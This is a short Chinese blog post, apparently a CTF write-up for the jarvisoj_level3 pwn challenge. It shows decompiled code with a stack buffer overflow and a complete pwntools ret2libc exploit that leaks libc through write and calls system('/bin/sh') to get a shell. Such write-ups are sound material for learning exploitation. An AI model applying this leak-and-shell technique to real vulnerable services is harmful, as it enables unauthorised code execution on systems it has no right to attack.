jarvisoj_level3

题目链接:jarvisoj_level3

下载附件后,使用 IDA 反编译,定位到主要函数,如下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

vulnerable_function 函数如下。

ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  write(1, "Input:\n", 7u);
  return read(0, buf, 0x100u);
}

解题思路:

  1. 栈溢出,调用 write 函数泄露 LIBC 基址。
  2. 调用 system 函数获取 Shell。

解题脚本如下。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # .text:08048350 ; void __usercall __noreturn start(int@<eax>, void (*)(void)@<edx>)
    sa('Input:\n', 0x8C * b'a' + p32(ELF_FILE.plt['write']) + p32(0x08048350) + p32(0x1) + p32(ELF_FILE.got['read']) + p32(0x4))
    LIBC_ADDR = uu32(ru('\xF7')[-4:]) - LIBC_FILE.symbols['read']
    leak('LIBC_ADDR', LIBC_ADDR)

    sa('Input:\n', 0x8C * b'a' + p32(LIBC_ADDR + LIBC_FILE.symbols['system']) + p32(0x0) + p32(LIBC_ADDR + next(LIBC_FILE.search(b"/bin/sh\x00"))))
    irt()

pwn()
posted @ 2025-09-06 13:12  imtaieee  阅读(12)  评论(0)    收藏  举报